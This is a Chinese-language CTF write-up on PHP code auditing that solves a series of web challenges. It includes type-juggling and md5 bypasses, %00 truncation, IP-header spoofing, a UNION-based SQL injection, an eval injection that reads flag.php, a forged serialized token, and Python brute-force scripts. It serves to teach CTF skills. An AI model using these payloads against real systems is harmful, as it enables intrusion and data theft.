CTF-web 第三部分 程式碼審計
http://www.mxcz.net/tools/rot13.aspx rot-13加密解密
http://www.zjslove.com/3.decode/ 凱撒 當鋪 倒敘 維吉尼亞密碼
實際上就是閱讀有關的校驗程式碼,人為構造特殊的輸入或者引數才能拿到flag。需要了解一般的變數命名,判斷語句和常用函式等,對於函式的執行流程還是很容易理解的,程式設計的關鍵點如下:
一些基本的語法含義
php程式設計中變數$var 字串"ascd" 函式function fname($引數) 獲取http提交資料$_GET('欄位名') 定義陣列$a = array('value1'=>'value2'); 訪問$a['value1']得到值value2 $_REPUEST 是接收了$_GET,$_POST,$_COOKIE 三個的集合,獲取其中資料段。 使用方式$requset['欄位名']) 在magic_quotes_gpc = On的情況下,如果輸入的資料有單引號(’)、雙引號(”)、反斜線(\)與 NULL(NULL 字元)等字元都會被加上反斜線。stripcslashes函式刪除由 addcslashes函式新增的反斜槓。 設定cookie setcookie('username','zhaoyun', time()+60); 獲取cookie $_COOKIE['username'];
本地環境搭建,使用phpstudy-》其它選項-》站點域名管理 可以觀察網站名,根目錄等 為了訪問本地站點,需要修改host,將網站域名加入到本地127.0.0.1。有些時候我們需要下載的網站或者網頁就需要到這裡進行使用。
例子:
(1)$_GET('username')!=$_GET('password') md5($_GET('username'))===md5($_GET('password'))
輸入賬戶密碼不相等 但MD5加密需要相等 可構造payload為?username=QNKCDZO&password=240610708;
但是此處為=== 所以構造的payload為
? username[]=1&password[]=a,這是利用了陣列的一些特性。陣列的MD5為null
(2)ereg("^[a-zA-Z0-9]+$",$_GET('password')) && strpos($_GET('password','--')!==false
密碼必須僅為0-9A-Za-z 並且還必須包含‘--’
這裡利用ereg比較陣列和字串會返回-1 而strpos會返回null 構造?password[]=或者利用ereg的%00截斷
構造輸入為 password=1%00-- 即可繞過
(3)變數name和變數password不等,但是經過sha1()函式後相等還是陣列處理會報錯 可以構造payloadname[]=1&password[]=2
(4)md5加密相等繞過
QNKCDZO與240610708經過md5加密後相等
(5)$one=ord('1')--$nine=ord('9');
$number=3735929054;
輸入temp
for($i=0;$i<len($number);$i++)
$digital=ord($temp[$i])
digital不能在1和9之間 並且number還得等於temp
所以將3735929054的十六進位制賦給password便可。
構造的payload為?password=0xdeadc0de
(6)只包含數字 並且
strlen($_GET(['password']))<8&&$_GET(['password'])>999999 並必須包含‘-’
ereg正則%00截斷 構造科學技術法表示 ?password=1e9%00*-*
(7)僅為正則匹配數字,並且包含‘#biubiubiu’
直接構造payload為?ctf[]= 或者是?ctf=1%00%23biubiubiu get是需要編碼的%23就是#
(8)貌似有點難 http://ctf5.shiyanbar.com/phpaudit/
$GetIPs = GetIP();//獲取http頭的ip 包括HTTP_X_FORWARDED_FOR,REMOTE_ADDR HTTP_CLIENT_IP
if ($GetIPs=="1.1.1.1")
{
echo "Great! Key is *********";
}
else{
echo "錯誤!你的IP不在訪問列表之內!";
}
使用火狐外掛X-Forwarded-For把ip地址改為1.1.1.1,得到flag
(9)PHP大法 http://ctf5.shiyanbar.com/DUTCTF/index.php
登入提示訪問index.php.txt 訪問得到原始碼
if(eregi(“hackerDJ”,$_GET[id])) 報錯
_GET[id]); if($_GET[id] == “hackerDJ”) 顯示flag
(字串比對,ereg() 有區分大小寫,eregi()本函式與大小寫無關) 有id等於hackerDJ,但是限制包含hackerDJ。注意urldecode解碼。
由於url本身會解碼一次,再加上程式解碼後為hackerDJ,所以需要加密兩次:%68%61%63%6b%65%72%44%4a,再次編碼得到%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61。
(10)程式邏輯問題 http://ctf5.shiyanbar.com/web/5/index.php
post提交user,原始碼中存在index.txt,原始碼關鍵為:
if($_POST[user] && $_POST[pass]) 存在
$user = $_POST[user];
$pass = md5($_POST[pass]); //對傳入的pass變數進行md5加密,並賦給變數pass
查詢語句$sql = "select pw from php where user='$user'"; //這裡是有‘’的 也就是說提交的資料不用字串型別
將查詢結果存放在 row
if (($row[pw]) && (!strcasecmp($pass, $row[pw])))
要求使用者名稱查詢到的使用者密碼,與MD5(提交的pass)一樣就可以通過,當然要求資料庫查詢得有返回值(這裡就是sql注入的技術了,自定義資料庫查詢返回值)
提交資料: user=1' and 1=2 union select concat('21232f297a57a5a743894a0e4a801fc3')%23 &pass=admin //%23是#的%編碼 用於註釋
(11)加密演算法進行解密 http://ctf5.shiyanbar.com/web/web200.jpg或https://images2017.cnblogs.com/blog/1242616/201712/1242616-20171222225414943-1627996700.png
程式設計如下,線上執行可得到原字串:
<?php
function decode($string){
$r='';
$str=base64_decode(strrev(str_rot13($string)));
$str=strrev($str);
for($_i=0;$_i<strlen($str);$_i++){
$c=substr($str,$_i,1);
$d=ord($c)-1;
$c=chr($d);
$r=$r.$c;
}
return $r;
}
$start="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$r=decode($start);
echo $r;
?>
(12)說是爆破,實際上是技巧 ichunqiu MiscWeb題目名稱:爆破-1
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
通過題目可以知道hello變數一定是6位,程式碼表面的意思是$a=獲取提交的hello變數,這裡有一個要點:變數值可以當做另一個變數的名字進行引用 $
a的變數
PHP一個比較有意思的變數!$GLOBALS:一個包含了全部變數的全域性組合陣列,變數的名字就是陣列的鍵。構造載荷/?hello=GLOBALS得到結果
(13)php程式碼的eval注入 ichunqiu MiscWeb 名稱:爆破-2
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
//單引號和雙引號的區別。單引號告訴shell忽略所有特殊字元,而雙引號忽略大多數,但不包括$、\、,Tab鍵的上方、1鍵的左方的
反引號可以將輸入定位在``中(定義輸出位置)
上一題的方法已經不好用,我們這裡嘗試利用eval注入。已知根目錄下有flag.php 直接輸出,構造引數 /?hello=$a);print_r(file("./flag.php")); //
(14)這次真的是爆破 ichunqiu MiscWeb 名稱:爆破-3
$_SESSION['whoami'] = 'ea'; $value = $_REQUEST['value'];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ //提交的value前兩個與whoami變數相等,並且6-9位的MD5為0
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands; //whoami更換 $str_rand為兩位的字母[a-z]
echo $str_rands;
}
//每次nums++後whoami變數更換字元,需要再次進行爆破value值.程式碼如下:
import hashlib
import random
import requests
# MD5截斷數值已知
# 變數值有一定要求
# 求原始資料
# 本題 限制120s 爆破10次以上 變數固定前兩個字元,MD5截斷為固定值
def md5(s):
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
# substr(md5($value),5,4)==0)
def findbest(s):
for i in range(1000000):
str = s + random.choice(guess)
str = str + random.choice(guess)
str = str + random.choice(guess)
str = str + random.choice(guess)
str = str + random.choice(guess)
str = str + random.choice(guess)
if (md5(str))[5:9] == "0000":
print(str)
return str
# 訪問並擷取新的關鍵字
def url_open(keystr, url, session):
payload= "value="+keystr
respon = a.get(url + payload).text
print(respon[0:2])
return respon[0:2], len(respon), respon
# 初始連線 字符集
urllink = "http://aa153e3db8114f409fa459050284db8920827b2ffaa34944.game.ichunqiu.com/?"
# guess = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
guess = "abcdefghijklmnopqrstuvwxyz"
a = requests.session()
# 初始key關鍵字
keyfirst = 'ea'
# 普通返回長度
normallen = 0
for i in range(1, 100):
# 尋找滿足條件的字串
keystr = findbest(keyfirst)
# 請求獲取新的key關鍵字 記錄普通長度 比對flag長度
keyfirst,length, res = url_open(keystr, urllink, a)
if i == 1:
normallen =length
else:
if normallen < length:
print(res)
break
(15) 9 十月場 ichunqiu Web題目名稱:Login
開啟頁面是一個登入框 經過多個的測試 發現無注入。。。都是提示error
檢視原始碼提示test1 test1登陸後顯示顏文字(╯‵□′)╯︵┻━┻ 並沒有什麼內容 抓包發現返回欄位中存在show=1,請求中新增show=1 ,得到一部分原始碼
if(isset($requset['token']))
//測試變數是否已經配置。若變數已存在則返回 true 值。其它情形返回 false 值。
{
$login = unse+rialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:進行字串壓縮
//unserialize: 將已序列化的字串還原回 PHP 的值,鍵值對形式
$db = new db();
$row = $db->select('user=''.mysql_real_escape_string($login['user']).''');
//mysql_real_escape_string() 函式轉義 獲取login變數中user鍵的數值
if($login['user'] === 'ichunqiu') //等於ichunqiu時得到flag
{
echo $flag;
}
}
進行逆向工作,將鍵值對’user’=>'ichunqiu’先unserialize,再gzcompress,然後base64_encode得到token值
程式碼如下:
<?php
$a = array('user'=>'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
echo $b
?>
--》 eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA== 將其加入到cookie的token欄位中。
再次請求得到flag{79d259e9-e80e-4693-8cbf-97588eb0643d}
(16)js ichunqiu Web 名稱:象棋 50分
這是一個HTML5象棋,檢視原始碼可以發現:下面有多個呼叫的外部js指令碼 有一個很奇怪的 採用匹配的方式,我們寫指令碼爆破
2個[abcmlyx]中的字母 + ctf + 3個[0-9]的數字 + .js 配合url進行訪問,如果不是404則成功,為了加速 我們使用多執行緒程式設計。
#!/usr/bin/python
# coding=utf-8
# 用於在檔案或者網址匹配中,有部分是已知的 部分是匹配的未知的 爆破方案
import requests
from multiprocessing.dummy import Pool as ThreadPool
def url_list():
for i in re1:
for j in re1:
for k in re2:
for l in re2:
for m in re2:
urllist.append(url+i+j+'ctf'+k+l+m+'.js') # url是路徑 後面是搭配的格式
return urllist
def url_open(url):
result = requests.get(url)
if result.status_code != 404:
print(result.content.decode('utf-8'))
urllist = [] #地址列表
re1 = 'myx' # 匹配格式1
re2 = '012346789' # 匹配格式2
url = 'http://b2c4a37e8a5d4e7e828a863179b388f5d2186fbb504e4cd2.game.ichunqiu.com/js/' #網址
urllist = url_list() # 獲取所有的可能
pool = ThreadPool() #多執行緒開始運作
pool.map(url_open, urllist) # 函式名字 引數列表
pool.close()
pool.join()
(17)“百度杯”2017年春秋歡樂賽 Web 名稱:攻擊 50分
提示:每個ip只有一次機會。 進入之後就是原始碼,給的重要的訊息如下:
if (
flag,5,3)]==‘attack’){
echo $flag; #每一次成功提交之後ip都會被加入禁止列表 需要重新設定ip
含義:由flag中的6-8的三個字元組成的變數名,在POST的變數中存在該變數,並且它的值為’attack’,我們需要使用指令碼爆破。直接提交所有可能的組合,因為每個ip只有一個機會。
proxies不行, X-Forwarded-For也不能用樣子。。不管怎麼樣程式碼就這樣吧
import requests
a = "1234567890"
data = {}
for i in a:
for j in a:
for k in a:
data[i + j + k] = "attack" # 定義鍵值對
header = {' X-Forwarded-For': '126.32.3.3'}
proxies = {"http": "123.123.123.123:80"}
print(data)
r = requests.post("http://b0813d96be5e4f81b9a6121e44c9985afc11f1e8c89b4642.game.ichunqiu.com", data=data)
print(r.text)
(18)jsfuck加密 2017第二屆廣東省強網杯線上賽 Web 名稱:broken 50分
開啟之後是一個jsfuck加密的內容,但是發現並不能執行,發現時損壞的,上網隨意測試幾個別的加密,修復程式碼頭。發現是一開始的一個字元後少了一個“]“。結果彈出"flag is not here"。
測試即找不到重定位,也找不到別的網頁,嘗試加密alert("flag is hot here "),翻譯過後有5903個字元,而網頁給我們的字元有95484個字元,說明資訊在裡面還有別的。
看到有個翻譯規則是:eval => [][“filter”]“constructor”() 。而我拿到的字串也符合這個格式。所以我猜測flag在CODE部分。
為了驗證我的思路,我把拿到的jsfuck程式碼扔到編輯器中,找到[“filter”]部分,扣出[ ]中間的程式碼放到控制檯中執行,得出來的結果是:“filter”。同理,我再摳出[“constructor”]中間的內容,結果是Array [ “constructor” ]。好了,把這兩部分的內容刪掉,再刪去最後的兩個小括號,剩下的就是CODE程式碼。然後放到控制檯中執行
結果得出:“var flag=“flag{***********}”;alert(‘flag is not here’);”
(19)2016全國大學生資訊保安競賽-破譯 150
給出的是很多的字母的加密資訊,初步認定為凱撒加密,很明顯最後一個就是flag的格式,經過多個位移測試,找到最後為 f8ag {gs182d9hct9abc5d}的。
看出仍舊是發生了替換的編碼方式,因此我們觀察程式碼的規律,將替換的方法得到,最後得到了flag。其中有兩段的英文還是比較容易認出來的,寫個指令碼替換一下就可以。